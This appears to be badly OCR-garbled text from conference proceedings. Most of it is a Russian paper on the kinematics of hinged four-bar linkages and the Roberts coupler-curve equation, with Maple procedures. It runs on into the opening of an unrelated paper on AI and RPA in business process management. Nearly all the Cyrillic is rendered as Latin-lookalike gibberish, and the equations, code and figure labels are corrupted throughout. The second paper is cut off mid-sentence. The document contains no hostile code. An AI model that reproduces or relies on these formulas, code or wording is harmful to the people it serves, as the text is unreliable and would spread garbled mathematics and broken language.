CMHTE3a HaNpPaBAAIOLLMX M NepemMelLaoWmnX MexaHM3MOB.

1. PeweHwne 3aa4M KUHEMATUYECKOrO aHanm3a. MyCcTb 3a4aH YeTblpeX3BEHHbIM
mexaHnam ABCD, waTyHHasa TouKa M KOTOpOro B Npouecce ABUMKEHMA OMUCbIBAET HEKOTOPYHO
TpaekToputo pmc.1). OCHOBHas 3a4a4a COCTOMT B ONpeaesieHNM NONOKEHNA MeXaHM3Ma U
MNOCTPOEHNN TPAEKTOPUM LLIATYHHOM TOYKM MO NOMYYEHHbIM YPaBHEHMAM. 3a4a4a ABAAETCA
TPaAMLUMOHHON M NO3TOMY Mbl MOCTapaeMca B AasbHENLIEM ee YC/IOKHUTL Ana 6onee obuero
cnyyas n 6onee CNOXKHbIX CXEM MEXaHM3MOB.
3anuwem BEKTOPHOE yrnaBHEHME 3aMKHYTOCTU KOHTYPOB

Puc. 1. LapHUPHbLIN YeTbIPEX3BEHHUK C LIATYHHOM TOYKOM M.

AB=AD +DC +CB (1)
[lns COKpalleHna 3anucu Beeem 0603HaYeHUn COrnacHo PUCYHKy 1
E=?;E=l€;ﬁ=ﬁ;@=5; m=,5; W=l§; CM=a (2)

MNepenuwem (1) B 6onee yaobHoM dopme Ans MCCneaoBaHNS
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Fr—k—R=¢ (3)

B npoeKuusax Ha KOOpAMHATHbIE OCU AXy UMeem

rcos@ —k —Rcosy =ccosg (%)

rsing — Rsiny =csing
34€eCb yron ¢ 3TO yron, KOTOPbIi 06pasyeT BEKTOP CB=¢ CNonosUTeNbHbIM HanpaBAeHUEM
ocn Ax . ICKOMbIM yron ¢ MOXKHO onpeaenuTb No o4eBnaHon dopmyne

rsing — Rsin
tgp= ? v (5)
rcosp —k —Rcosy

/13 cuctembl (4) uckntoumm yron @, ans atoro oba ypaBHeHusA cuctemsl (4) Bo3sesem B KBaapaT

W CZIOXUM MOYNEHHO

—2r(Rcosy +k)cos@—2rRsingsiny +2kRcosy + R* +k* +r° = ¢ (6)
Mepenuwwem (4) B KOMNaKTHOW Gopme B Cy4ae, eCam NPUHATL 3a Beayllee 38eHO AB ¢ yrnosoM
KOOPAMHATON, @ W ONpeaenvM yron

A,siny + B, cosy+C, =0, (7)
roe
1 . — . _ 2 2 2 2

A, =-2rRsing; B, =2kR—2rRcosp; C, =-2krcosp+R" —c +k" +r (8)
[na peleHna ypaBHeHua Tmna (7) ectb macca cnocobos, NpUMep Hanpumep OAMH U3 HKX, 3TO
MeTOZ, C UICMOb30BaHWEM NONOBUHHOMO apryMeHTa MICKOMOTO yria

A +. A2 +B*-C?
14 14 4 4 (9)

BV/_CW

v =2arctg

PelleHMe cyLLecTByeT, eC/iM NOAKOPEHHOE BbiparkeHne HeoTpuuaTebHo. Hasosem ero
AnCKpuMnHantom D, , T.e.

2 2 2
= —-C*>
D,=4,+B,-C,20 (10)
AHanornyHo nepenuwem (6) B KomnakTHoOM Gopme B Cyyae, eCM NPUHATL 33 BeAyllee 3BeHO
CD c yrnoBoi KOOPAMHATON, iy 1 ONpeaennm yron @

A{psin(p+B¢cos¢)+C¢:0 , (11)
rae
— 1 . — . _ 2 2 2 2
A,==2rRsiny; B, =2kr—2rRcosy; C, =-2kRcosy + R" —c"+k" +r (12)
A+, (A +B-C?
@ =2arctg| -~ LA S (13)
Bfﬂ N Cw
To e camoe pelleHwe CyLLECTBYET, eCM MOAKOPEHHOE BblpasKeHUe HEOTPULLATENLHO, T.€.
2 2 2
D,=A4,+B,-C,20 (14)
B KayecTBe Npumepa pacCMOTPUM KUHEMATUKY MexaHu3ma ¢ Beaywmm 3seHom CD npw
CNeayoLnX UCXOAHbIX AaHHbIX
a=10=07y=2:r=12R=05k=12;
) (15)

asiny

c=+Ja* +b* —2abcosy =0.8888194417; o = arcsin =1.343835249

c
PelweHue ypasHeHuit (7) 1 (11) ocyw,ecTBaan0Ch C NOMOLLbIO CAeaytoLLel npoueaypsbi
SUT . B KoHLe 3Toi Npoueaypa NokasaH npumep obpalleHus
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AL JL¥EB — € |
B—-C ’

> #Pewenue ypaenenua A-sin(y) + B-cos(y) + C=0; y=2 arctan{

SUT :=proc(4, B, C)
local
r= 4% 4+ B* — C% r == sqrt(r);

2| arctan A br arctan 4—r ).
B—-cC /) B—-C |
end: evalf(SUT(1,2,1));
Ons n3obparkeHna mexaHnu3ma M ero aHMmauMm UCNob30Banach npouegaypa mexRk , rae i 310

HOMEep MOIOXKEHUS UK yron noBopoTa Kpmeowwuna CD, a rc pasmepsl WapHUPOB.

> NSB = 1 :# Houep c6opxu
mexR :=proc(i, rc = .03)
locald.D. C, B, M.y, o, @I;

[T
180.
B:=r CL(4.C.1.c)[NSB];if y + Othen M := r CL(B.C.,b.a)[1]: else M := AMB(C,B,—2):1i;
¢ = arctgAB(4, B); ¢l = arctgAB(C, B);

mexli(A4, B.rc), mexI(D, C, rc);

ify + Othen display(%,zABCZ([C.B. M), rc).ArcR(B.1.5rc, 01, w)[1]);

else display(%,z AB(B.C,vc),z AB(B. M, rc), AreR(B, 1.5re, 0l)[1]); fi;

end:

disnlavimexR(65) isel2 31):

4:=1[0,0];D:= [kO0],y:= :C:=7r M(D,R, ),

Ha pucyHKe 2 n306parkeHbl 3TW MexaHW3Mbl B ABYX COOPKaXx, Npu yrie NoBopoTa KPUBOLWMMA
v =65,

0.8 024

T T T T T
04 $ 0.8 1 14

04+

T T T T T T
02 04 06 08 1 K 14

Puc. 2. [ige cbopKM mexaHm3ama ¢ AaHHbiMK (13) npu yrae noBopoTa Kpmeowmna i = 65°

[Ans onpeneneqns 061acTv CyLWeCTBOBaHNA MEXaHN3Ma UCMNO/b30BANCL ANCKPUMUHAHTLI D) 1
D, . Ha pricyHke 3 u3obpaerbl rpadrkm aTnx dyHKLWiA. Kak Mbl BUAMM 13 nesoro rpaguka D,

Ha BCEW OCK NONOXKUTENbHO, T.€. 38eHO CD C yriom noBopoTa i ABASETCA KpMBOWMMIOM. 3
npasoro rpaduka caeayet, YTo 38eHO AB He MOKeT BbiTb KPMBOLIMMOM, Tak Kak AUCKPUMUHAHT
D,, 8 HekoTOpOM 06/1aCTU MMEET OTpULaTe/NIbHbIe 3HaYeHuA. U3 peweHwns ypasHenns D, =0

MOXXHO OnpeaennTb 061acTu CyLLeCTBOBaHMA KOPOMbICIOBOrO MexaHn3ma. B Hawem ciyyae
nony4yaem creayrolime MHTepBabl
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D, =-8.2944 cos ’p+ 10.59840000 cosp — 2.595600000 = 0

intervals = [0.3254505971, 1.234205626] ,[3.467043251, 4.375798280]
AATIN. VTN

0 1=

T
454 i =
4

34 — 104

—154

T ¥ T T T
3_n n 5w 3n in 2r —204
4 4 2 4

~

ERE
o= 4

Puc. 3. Tpadukn anckpumuHantos D, n D,

Mbl 6yaem B OCHOBHOM PacCMaTpMBaTb BO NMEPBbIX KPMBOLIMIMHbIE MEXaHW3Ma, KOTOPbIE
[0BONIbHO YaCTO MCNO/b3YIOTCA Ha NPAKTMKeE, @ BO BTOPbIX A1A HUX HET HE0HXOAMMOCTM
onpeaenatb 061acT CyWw,ecTBOBaHMA MexaHM3Ma. Ha pucyHke 4 n3obparkeHbl rpadukm GyHKLUUN
(6) B NpocTpaHCTBe M HA NIOCKOCTM (Beayllaa KoopauHaTa i )

0 1 2 3 4 5 6
A 4

Puc. 4 Tpadumkm GyHKLMM (6) B NPOCTPAHCTBE M HAa NJIOCKOCTU (BeAyLLan KoopanHaTa i/ )

B 3aKNOYEHWUM STOrO NMYHKTA BMECTO aHMMALMOHHOM KapTUHbI NPUBEAEM TaK Ha3blBaeMble
NNaHbl MONOXKEHUIM MeXaHW3Ma AnA AByX COOpoK cornacHo rpadmkam n3 pucyHKa 4. Nnatbl
NONOMKEHWI MEXaHU3Ma NOCTPOEHbI C MHTepBanom Ay =10° (cm. pucyHOK 5). TpaekTopmm
WATYHHOM TOYKM M MOKHO TaK e NoNy4YnTb No Gopmynam

X, =rcos@+bcos(¢+w); y,, =rsing+bsin(¢+w), (16)
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KOTOpble Ha3bIBAtOTCA NapaMeTPUUYECKMMMN YPaBHEHMAMM WATYHHOM KPUBOM. TpaeKTOpUM 3TOMN
WATYHHON TOYKM M MOMKHO 3aMEeTUTb Ha NAaHe NMONOKEHNN.

Puc.5. MnaHbl NONIOXKEeHMN ANs ABYX COOPOK MexaHW3ma

2 MonyyeHwue ypaBHeHUA PobepTca. 3anuiiem ANna WaTyHHOM ToukM M cneaytollee BEKTOPHOE
ypaBHeHWe ans asyx uenen ABM n ADCM

p=F+b=k+R+a (17)
CnpoekTupyem (15) Ha KOOpPAMHATHbIE OCK, MOCNE YEro NOAYYNM 4 ypaBHeHUA
x=rcos@+bcosf; y=rsing+bsin f;
x=k+Rcosy +acosa; y=Rsiny +asina (18)
Vckntoumm 13 nepsbix ABYX YpaBHEHWI cucTemsl (16) @, nonyunm
2b(ysin f+xcos B)=x>+ )y +b° —r’ (19)
VcKAtounMm 13 creayolimx AByX ypaBHeHW cuctemsl (16) i, aHanorMyHO NoayyYnm
2a[ysina + (k —x)cosa]=(k—x)’ +y* +a’ - R’ (20)
MoAcTaBMM B 3TO ypaBHEHWE BeMUUHY & = [ + ¥ (BHELUHWUI yron TpeyronbHnka BMN paseH

CYMMe ABYX BHYTPEHHMX YI/I0B HE CMEMKHbIX C HUM), OKOHYATE/IbHO MOJIYYMM Caeaytollee
ypaBHeHMe

2a[ycosy + (k —x)siny]sin B +2a[—(k — x)cosy + ysinyJcos B =(k—x)" +y* +a’ —R> (21)
Pelwan nnHerHyto cuctemy (17) n (19) oTHocuTensHo sin f 1 cos f nonyyaem
. V
Wsing=V;Wcosf =U; tg(ﬂ):U (22)
3nech BBEAEHb 0603HaueHNA
W =2ab[(kx — x* — y*)siny + kycos y]
V=a(b’+x>+y —r)[(k—x)cosy — ysiny]—bx[R* —a’ — (k- x)* — y°] (23)
U=a(b’+x+y" —r)[(k—x)siny + ycosy]+by[R* —a’ — (k—x)* — ]
Bo3B0/A NepBble A8a ypaBHeHWA cucTembl (20) B KBapaT U CKNabIBaA, OKOHYATENbHO MOMYUMM

N3BECTHOE ypaBHeHWe PobepTca, HO MoyYEeHHOE APYTUM NyTem
U+rt=w? (24)
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I3TOT MeToA, MOXKeT OblTb MCNONb30BaH AN1A peleHna Honee CA0XKHbIX 33434 No onpeaeneHuto
ypaBHeHuA Tuna PobepTca. B nocneaHee ypaBHeHMe He0bX0AMMO NOCTaBUTb YKa3aHHbIE Bblle
3HaveHna U, V' u W . TpeTbe ypaBHeHWe cuctemMbl (20) NOKa3bIiBAET, YTO TAHIEHC Yr/1a HAaK/oHa
WaTyHHOW NaockocTn S nponopumoHaneH oTHoweHuto V' k U .

[na nonyyeHna ypaBHeHnA PobepTca 1 NOCTPOEHWA WATYHHOM KPMBOW MCNO/1b30BaNaCh
cneayrouwan npoueaypa USCR , npy obpalleHnn K KOTOPOM HY»KHO 334aTb NapameTpbl
nccnesyemoro MmexaHu3ma CornacHo pucyHKky 1. Ha BbiIxoae noayvyaem MCKOMOe ypaBHeHue, a

TaK ke napameTtpbl V,U,W . B KoHLe npoleaypbl npuseaeH npumep obpatleHuna ans
M3BECTHOro MexaHn3ma Yebsbillesa.

> USCR :=proc(a. b.y. 7, R. k) #rg(h]: %; 2+ 7 =w

localrl. v2,r3,r4,v2.d, U V. W,

rl == sin(y); r2 = cos(y): d == k — x, 2 = )
W:=2ab(kyr2+ (dx—y2)rl);

PB=b0 —rP+L 424 =R - —F —y2;
Vi=ar3(yr2+drl)+byrs
U:=ar3(dr2—yrl) —bxrvd,

P+ V=WV, UWw]

end:

UC = USCR(2, 1.0, 1, a. d)| 1]:# dna mexanuszma Yebviuteea

Ha pucyHKke 6 npuBeaeHbl WaTyHHble KpMBble TOYKM M (KpacHbIi LBeT) AByX COOPOK MmexaHM3ma
N TpaekTopus ToukKn C KpmBoLLMna (CUHKI UBeT)

Puc. 6. LLaTyHHble KpuBble TOUKM M (KpacHbI UBET) ABYX COOPOK MeXaHM3Ma M TPaeKTopUS
ToukM C KpMBOLIMNA (CUMHWIA LBET)
Ons 6onee nonHoro npeactasneHnsa ob ypaBHeHWM PobepTca 6bian NOCTPOEHbI OTAENBHO
33aBUCUMMOCTM NapameTpOoB, BXOAALLMX B ypaBHEHNE (PUCYHKM 7,8 1 9).
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Puc.7. NosepxHoctn U(x,y) v V(x,y)
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Puc. 9. MosepxHocTn W7 (x,y) v nepeceyerne nosepxHocteln U (x, y)+ V7> (x,y), W’(x,y)
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C nomoupto obpaueruna Kk npoueaype USCR s snae USCR(a,b,y,r,R,k)[1] nonydyaem
ypaBHEHWeE WaTyYHHOM KpMBOM B cneaytollen dopme
{a(b> —r* + x>+ y*)[(k—x)cosy — ysiny]—=bx[R* —a* — (k—x)* = y*]}* +
{a(b® —r* + x>+ y*)[ycosy + (k—x)siny]+by[R* —a’ —(k—x)* = y*]}* = (25)
4a’b* {ky cos y +[x(k — x)— y*]sin y}*
YpaBHeHwMe (25) MOXKHO CBECTU K ypaBHEHMIO 6-r0 NOpAAKa cneaytoLLero Buaa
X +Y Y+ A4+ + A, +y )+ 4,=0, (26)
rae
A, = —4ak[ab’kxysin2y +ab’ky® cos’ y + 1bAx(2kx + ) cosy +ab’kx’ sin’ y —
—1bA(2kx + p)siny —+ A%a(k - 2x)];
A =b*(4kx + p)* +4a’b’kysin 2y — 2ab[2k’x” + kx (1 — 34 — Au]cosy +
+8a’b’kxsin® y + 2abk(2kx + p— )+ a’ A(2k* — dkx + 1); (27)
A, = a’k)k —x)+2ab(kxcosy — kysiny) +21a” — 2b* (2kx + 1) — 4a’b’sin” y +
+2ab(2kx + pt— A)cosy;
A=b"—1r"; u=R’-a’ -k’
[lns Hawero npumepa nocae NoACTaHOBKM UCXOAHbIX AaHHbIX MOAyYaem caeaytollee ypaBHeHue
(pe3ynbTaT CKONMMPOBAH NPAMO M3 CKpUNTa):

UR = 0.7899999999 (x> +3?)° + (—2.232000000 x — 0.651800000 — 0.8400000000yy3 ) (x* +1?)” + (1.96 (1.2
— 1.095000000)% + 1.176000000y /3 — 2.016000000 x* + 7.533600000 x — 0.3771500000 + 1.680000000 (1.2x
—0.6200000000) ¥/3 ) (2* +3%) = 1.411200000 y /3 x — 0.7056000000 3 + 1.596000000x (1.2x
— 1.095000000) — 2.116800000x% — 1.596000000 (1.2x — 1.095000000) y+/3 + 1.299600000 — 2.166000000 x =0

—_— 2

3. Nony4yeHune ypasHeHus Pobeptca (06wWMIA cnyyqan). PaccMOTPMM MEXaHW3M LAaPHUPHOTo
YyeTblpex3BeHunKa B bonee obuien KoHourypauum (pmcyHok 10).

Ay

\

Puc. 10. O6uwmin cnyyait LLapHUPHOTO YeTblpex3BEeHMKa
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3anuwem Aaa WaTyHHOM ToYkM M chneaytollee BEKTOPHOE ypaBHeHWe ana Asyx uenet ABM w
DCM

Py =p,+F+b=p,+R+a (28)
3pece P,,P4 M Pp PALNYChl BEKTOPLI COOTBETCTBYIOLWMX Todek M, 4 n D.

CnpoekTupyem (28) Ha KOOPAMHATHbIE OCK, MOCNE YEro NOAYYUM 4 ypaBHeHUA
x=x,+rcosp+bcosf; y=y,+rsinp+bsinf; (29)
x=x,+Rcosy +acosa;y=y,+Rsiny +asina

Vckntoumm 13 nepsbix ABYX YPaBHEHUI cucTemsl (29) @, nonyunm

2b[(y =y, )sinf+(x—x,)cos fl=(x~x,) +(y=p,) +b'~r’ =P (30)

VIcKAtouMm 13 creayolmx AByX ypaBHEHW cuctemsbl (29) 7, aHaNOrMYHO NOAYYUM

2a[(y—y,)sina+(x—xp,)cosa]=(x—x,) +(y—y,) +a’-R* =0 (31)

MoAacTaBMM B 3TO ypaBHEHWME BEMUUHY & = [ + ¥ (BHELIHWUI yron TpeyronbHnka BMN paseH

CYMMe [1BYyX BHYTPEHHWX YI/I0B HE CMEXHbIX C HUM), OKOHYATEe/IbHO NONYYUM CReaytoLLee

ypaBHeHwue

Acosf+usin =0, (32)
rae NPUHATLI 0603HAYEHMS
A=2a[(x—x,)cosy +(y = y,)sinyl; 1= 2a[(y— y,)cosy —(x—x,)siny] (33)
Pewwasa nMHernHyto cuctemy (29) 1 (32) oTHocMTeNbHO sin f 1 cos f nonyyaem

Wsing=V;Wcosf =U; tg(ﬂ)zg (34)

31ecb BBeAeHbl 0603Ha4YeHKs

W=2b[A(y—y )—pu(x—x,)]

V=—-20b(y-y,)+Pu] (35)

U=-20b(x—-x,)+PA
Bo3Boas nepsble ABa ypaBHeHMUA cuctembl (20) B KBaApaT v CKAaAbiBad, OKOHYATEIbHO NMOAYYMM
M3BECTHOE ypaBHeHMe Tuna PobepTca

U+ =w? (36)

,ﬂ,J‘IFI nosy4yeHnAa ypaBHeHUA Bblna cocTasseHa COOTBETCTBYHOLWaA npoueaypa

> UR_D :=proc(4.D.a.b."R.Y)
local W, V, U, A, W, A, B, X1, V.o Xp, Y
xgi=A[1Ly, = A[2] xp = D[1]. 3p == D[2];
A=V —©F¥+ (x —xd)?' + [y —yA)z_:
B:=—R'+d+ (x —xI})2 + (¥ _}b)z;
A =2a (x —xp)-cos(y) + 2a (v —yp)-sin(y):
W=—2a (x —xp)-sin(y) +2a (¥ —yp)-cos(y):
Wi=2:bk(y—33) — B [x—2);
Vi=2bB(y—y)—pA
U:=—2b-B-(x—x,) + A-Afiprint(A, B, A, u, W, ¥, U);
U+ v =w

. end:

> Uc := UR D([0,0],[d.0].2.1, 1,4 0):
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B stor npoueaype A[x,,y,], D[x,,y,] kKoopanHaTbl HENOABWXHbLIX ONOP MEeXaHM3Ma, a
OCTa/IbHble MapameTpbl 3a[at0TCA U3 CXEMbl MEXaHM3Ma, COrnacHo pucyHKy 10. Mpueeaem
NpUMEepP MexaHM3Ma Co CAeAy LMK UCXOAHBIMU AaHHbIMM

x,=02,y,=-04,x ,=12,y,=-02,a=2,b=1,y=0,r=1,R=0.5

CBopxaMexannama N°1 CGopka mexannsma N2

Tpaexropim Towek Mu B

154 T T f
3 —020{ o2 o4 o6 08 10 % 16

Puc. 11. TpaekTopuu WaTyHHOW Toukn M 1 Toukm C Kpusowwuna n Age cOOpKM mexaHuama.

B 3aK/t04EHMM OTMETUM, YTO NPOBEAEHHbIE UCCAEA0BAHMA MO3BONAIOT NOAYYNTb YPABHEHMA
WaTyHHOM KpMBOW B 06LLLEM B1AE. DTO NO3BONAET MCMONb30BaATb AaHHbIM MaTepman Npu pelleHnm
337124 KMHEMATUYECKOro U AMHAMMUYECKOTO CUHTE3a Pa3NIMYHbIX MeXaHM3MOB.
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[lepcneKTrBbl U NOTEHLMAN
MCKYCCTBEHHOTIO MHTE/INIEKTA B YNPaBAEHUNM
bu3Hec-npoueccamm

Ackapbekos Acap Cbipacnnosuy

MarmnctpaHT. YHuBepcuteT TypaH (r. AimaTbl, Ka3axcTaH)

Annmkynosa [»aHHa PUCKynoBHa

KaHamaaTt TeXHUMYECKMX HayK, acCoLMMpoBaHHbIM npodeccop. YHMBepcuTeT TypaH (r.
Anmatbl, KasaxcTaH)

AHHOTauuA: Kasipri 3amaHfbl TEXHONOTMANAP COHLWANbIKTbI KblgaM [AaMbll Keneai,
COHABIKTAH »KacaHabl MHTennekTneH (HKW) e3apa apekeTTecy fblibIMW GaHTACTMKaHbIH, Bip Heniri
eMec, KYHAENiKTi emipimi3fiH, askbipamac beniriHe alHanabl. MW MeH aBTOMaTTaHAbIPYAbIH
KapKblHAbl AamMybl ©HepKacin neH Ou3HecTiH Tyberenni e3repyiHe biKMan eTin, ONAPAbIH,
TUIMAINITIH apTTblpbIN, WbIFbIHAAPAL! a3aMTyFa KemeKTecyae. byn makanaga busHec-npouecTep
backapyna MKW-aiH, afbiMaafbl 4amybl, OHbIH, Bonalarbl »aHe asctypni RPA (Robotic Process
Automation) TEXHO/MIOTMACBIMEH  Ca/bICTbIPybl  KapacTbipblnadpl. Typai  AepeKkkesgepre
CaNbICTbIpMAnbl  Tanday Kyprisinin, »acaHAbl MHTEANEKTIHIH  OCbl  Canafafbl  HEri3ri
apTbIKWbIbIKTAPbl MEH LUEeKTeyepi aHbiKTandpl. 3eptrey HaTuxKenepi kepceTkeHaen, HKN-aj
WHTerpaumanay KOMMNaHWANapAblH KahaHAblK ~ 3KOHOMWKAHbIH, ©3repmeni TananTapbliHa
benimgenyiHe, 6acekere KabineTTiniriH  apTTbipyblHa  KOHE  OnNepaumssiblK  KbI3METIH
OHTaMnaHAbIpyblHa MaHbI3abl P/ aTkapaabl. Makana HKU-ai KeH ayKbiMabl eHri3yaiH Keneleri
30p EeKeHiH aTtan eTin, OHbl 3amMaHayu OW3Hec-NPOoLEecTepPdiH, AamyblHa biKNan eTeTiH Herisri
dakTopnapabiH bipi peTiHAe KapacTbipabl.

AHHOTauuA: CoBpeMeHHble TEeXHOJIOMMM  Pa3BMBAlOTCA CTOJIb  CTPEMUTE/IbHO, 4TO
B3aMMOZEMNCTBME C UCKYCCTBEHHbIM MHTennektom (M) nepectano ObiTb 31€MEHTOM Hay4YHOM
daHTaCTUKM M CTaN0 HEOTbEM/IEMOM YacTbto MOBCEAHEBHOM U3HU. AKTUBHOE pa3BuTne M u
aBTOMATM3aLMA NPOLLECCOB OKa3bIBAOT 3HAUMTEIbHOE BMAHME HA NMPOMbILNEHHOCTb N BU3HeC,
cnocobcTBys NoBblWeHMO 3GGEKTUBHOCTU U CHUMKEHMIO ONepaLIMOHHbIX 3aTpaT. B AaHHON cTaTbe
PAacCMaTpMBaETCA TeKyllee COCTOAHME M NepcneKkTUBbI NpumeHeHus M B ynpaBneHnn busHec-
npoueccamm, a TaKKe NPOBOAMTCA CPABHUTE/bHbLIA aHaAM3 C TPaAMUMOHHOM TexHOAOornemn
Robotic Process Automation (RPA). VcchenoBaHne BKAtOYAET aHa/M3 PasNYHbIX UCTOYHMKOB,
BbIAB/IEHWE KAOYEBLIX MPEMMYLLECTB M orpaHuyeHunin MM B naHHon chepe. Ocoboe BHMMaHME
yaenseTca CTpaTernMyeckom 3HaYMMOCTM MHTerpaumm MW Kak katodesoro dakTopa Lndposoi
TpaHchopmaumm busHeca, obecneymBatollero ero afanTaumio K AMHAMUYHbIM TpeboBaHMAM
rnob6anbHOM 3KOHOMMKM, NOBbILIEHME KOHKYPEHTOCNOCOOHOCTM M ONTUMM3ALLMIO ONepaLMOHHOM
NeATenbHOCTU. B 3akntoveHWe aenaetca BblIBOA, O MEPCNeKTMBHOCTM LIMPOKOMACLITabHOro
BHeapeHns MM 1 ero noTeHuMane Kak OCHOBHOrO ApanBepa Pa3BUTMA COBPEMEHHbIX BU3Hec-
NpoLLeCCOB.

Annotation: Modern technologies are developing at such a rapid pace that interaction with
artificial intelligence (Al) is no longer an element of science fiction but an integral part of everyday
life. The active advancement of Al and automation significantly impact both industry and business,
contributing to increased efficiency and reduced operational costs. This article examines the
current state and prospects of Al implementation in business process management, along with a




I Proceedings of the 9th International Scientific Conference

comparative analysis of traditional Robotic Process Automation (RPA) technology. The study
includes an analysis of various sources, identifying the key advantages and limitations of Al in this
domain. Particular attention is paid to the strategic importance of Al integration as a key driver of
business digital transformation, enabling companies to adapt to the dynamic demands of the
global economy, enhance competitiveness, and optimize operational activities. The article
concludes that large-scale Al adoption is highly promising and highlights its potential as a
fundamental catalyst for the evolution of modern business processes.

Kntouesble cnoBa: VckyccTBeHHbIM nHTennekT (M), busHec-npouecchbl, aBTomaTnsaums,
onTummsauma npoueccos, RPA (Robotic Process Automation).

OCHOBHOM TeKCT cTaTbM: WcKyccTBeHHbIM uHTennekt (M) akTMBHO BHeapAeTcs B
pas3nnyHble chepbl KU3HWU, 3aMeHAs PYTUHHbIN TPYA M nosbiwaa 3GPEeKTUBHOCTb MPOLECCOB.
CoBpemeHHble TexHonormm NN ywxke He ABAAOTCA NpeameTom GyTypOaOrnMYeckmx NporHo3os, a
CTaM HEOTbEMJIEMOM 4YacTbio LUMPOBON TpaHCHOpMaLMM NPEANPUATUIN U HE TONbKO. BarkHo
MNOHMMaTb, YTO TexHonormm UM — 3To HeoTbemaemas YacTb Hawero Oyayulero, U KOMMaHuK,
OCO3HaBaA MOTEHLMaN 3TUX TEXHONOTMM, BbIHYKAEHbI aA4anTMPOBaTb OWM3HEC-NPoLEecchl NOA
HOBble peannun, 4Tobbl COXPaHATb KOHKYPEHTOCNOCOOHOCTb M COOTBETCTBOBATb 10OANbHBIM
TeHAEHUMAM LmMdpOoBM3aLMN.

AKTyanbHOCTb BHeapeHus WU B 6BusHec-npoueccbl obycnosneHa CTPEMMUTENbHbBIM
Pa3BUTMEM aBTOMATU3MPOBAHHbIX PELIeHWI, KOTopble CNOCOOHbI ONTUMU3NMPOBATL KtOYEBbLIE
MPOLECChl, CHWMKATb OMEepauMOHHblE WU3AEPHKKM U MUHUMMU3NPOBATb BAMAHME YE€0BEYECKOro
dakTopa. CeroaHa MW akTMBHO NpMMeEHAETCA B TakMX chepax, Kak NMpou3BOACTBO, IOTUCTUKA,
OUHAHCBI W KNWMEHTCKMM  cepsuC, obecneunBas MOBblWEHWE NPOM3BOAUTENBHOCTU U
30 HEeKTMBHOCTMN PaboTbl NpeanpPUATUN.

B ycnosuax unMppoBoint SKOHOMMKM BU3HEC-NPOLECCHI CTAHOBATCA BCe Holee CNOXKHbIMM,
TpebyA rmbKOCTU M MHHOBALMOHHOTO Noaxoaa. MicnonbaoBaHue MM B KOPNopaTUBHbLIX CTPYKTYpax
cnocobcTyeT 6Honee rnyboKOMy aHanu3y [AaHHbIX, MPUHATUIO OOOCHOBAHHbLIX PeWweHnn |
YAYULWEHWNIO B3aMMOAENCTBUA MEXAY Pa3/IMYHbIMK NOAPA3LAENEHNAMMU KOMNAHWI. bonee Toro,
aBTOMATM3aLMA NpoLeccoB Ha ocHoBe M No3BOAAET HE TO/IbKO MOBbLICUTb CKOPOCTb BbIMOJHEHUS
onepauui, HO M aAanNTMPOBaTb BU3HEC K MBMEHAIOLLMMCA TPEOOBAHUAM PbIHKA.

PaHee MUCKYCCTBEHHbIM MHTENNEKT (MU) ncnonb3oBancs npemMmyL,ecTBEHHO A0 aHaAn3a U
CTPYKTYPUPOBAHMA @HHbIX, @ TaKXKe 419 PeLeHNA KNAaCCUPUKALMOHHbBIX M PErpeccHOHHbIX 3aau.
OfHaKo ero pa3BuTME MO3BOAMAO He TO/AbKO 00yyaTbCA Ha MNpeAoCTaBAEHHbIX AaHHbIX C
MCMNONb30BaHMEM MeTOA0B ryboKoro obyyeHua, HO W CaMOCTOATE/NbHO TEHepPMpPoBaTb
Pa3NMYHble BUAbI MHPOPMaLMM. ITO MOATBEPKAAIOT COBPEMEHHbIE TEHAEHUMM B Pa3BUTUK
A3bIKOBbIX MoAenel, Takux Kak ChatGPT, Gemini, DeepSeek, a Tak»Ke reHepaTUBHbIX HEMpPOCeTEN,
Bktodana DALL-E n Midjourney, co3gatoumx n3obparkeHma no TEKCTOBbIM 3anpocam. B cBA3n ¢
3TUM HEeyAUBUTEIbHO, YTO B DAMKanliem byayulem 6u3Hec-cpeaa OyaeT WNMPOKO MCMNOo/b30BaTh
AW, nHTerpmpys ero B pasiMyHble NPOLEcChl A1 NoBbileHNA 3GGEKTUBHOCTN M aBTOMATM3aLMN.

OAHMM M3 K/OYEBbLIX AaCMEeKTOB YCMELWHOro ynpasaeHua OU3HEeCOM ABAAETCA ero
OpraHM3auMoHHaa CTPYKTypa, cnocobceteylowlana 3dPpekTMBHOMY pacnpeleneHntio Pecypcos,
B3aMMO/ENCTBUIO COTPYAHMKOB M MOBbILEHWUIO MPO3PAa4YHOCTM MPOLLECCOB. B 3TOM KOHTeKcTe
BU3HEeC-NPOLECCHI UTPAKOT LLEHTPAIbHYIO POAb B QOPMUPOBAHUM CTPATErnin ynpaBneHuns. busHec-
npouecc — 3TO COBOKYMHOCTb B3aMMOCBA3AHHbLIX 333y M MepOonpUATUI, HanpaBAEHHbIX Ha
co3/aHne NPoayKTa UKW NpeaoCcTaBAeHMe yeayrn ana notpebuteneit [1]. Nx ctangapTm3auma u
pernameHTaLma No3BOANAN NPEeANPUATUAM MUHUMMU3NPOBATL PUCKK, CBA3AHHbIE C YENOBEYECKMM
$aKTOPOM, M NOBbLICUTb TOYHOCTb BbINOHEHMA ONEPALMIA.
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B cepeanHe XX BeKa, a 3aTem B Havase XXI Beka, ¢ HacTynieHnem MHGOPMaLMOHHOM 3pbl
M PasBUTMEM KOMMbIOTEPOB, MOSBUAACH BO3MOMHOCTb aBTOMAaTM3aLMKW OU3HEC-MPOLLECCOB C
NOMOLLbIO MHHOPMALMOHHBIX TEXHO/IOTMIA. ITO 43N0 TONYOK K pa3paboTKe KOHLUENLUMM, TaKMX KakK
Enterprise Resource Planning (ERP), KoTopble 00beavHWAWM pas3nnyHble BU3Hec-npouecchl B
eanHyto cuctemy. ERP-cucTemMbl MO3BOAMAM KOMMAHMAM MHTErpMPOBaTb BCE aCMeKTbl CBOEN
NEeATeNlbHOCTM — OT YNPaBAEHNS Pecypcamm 10 B3aMMOAENCTBUA C KIMEHTAMU — B PaMKax O4HOM
nnaTdopPMbI.

CerofiHs  pa3BuUTME  TEXHONIOTMIM  MPOAO/KAET  WUrPaTb  KAYEBYD  poab B
COBEpPLIEHCTBOBaHUM BusHec-npoueccos. OagHoOM M3 Hambonee NONYASPHbLIX TEXHONAOTNN,
NPUBAMIKEHHbBIX K UCKYCCTBEHHOMY MHTennekty, asnsetcs RPA (Robotic Process Automation).
Lenb aTol TexHonormm — adpdeKkTMBHas aBToMaTn3aums 6U3HeC-NpoLeccoB, KOTopasa No3BosaeT
KOMMNaHUAM CHUMKaTb 3aTpaTbl M YNpowaTtb BbINOJHEHWE PYTUHHbLIX 3adad. [JaHHbl noaxos,
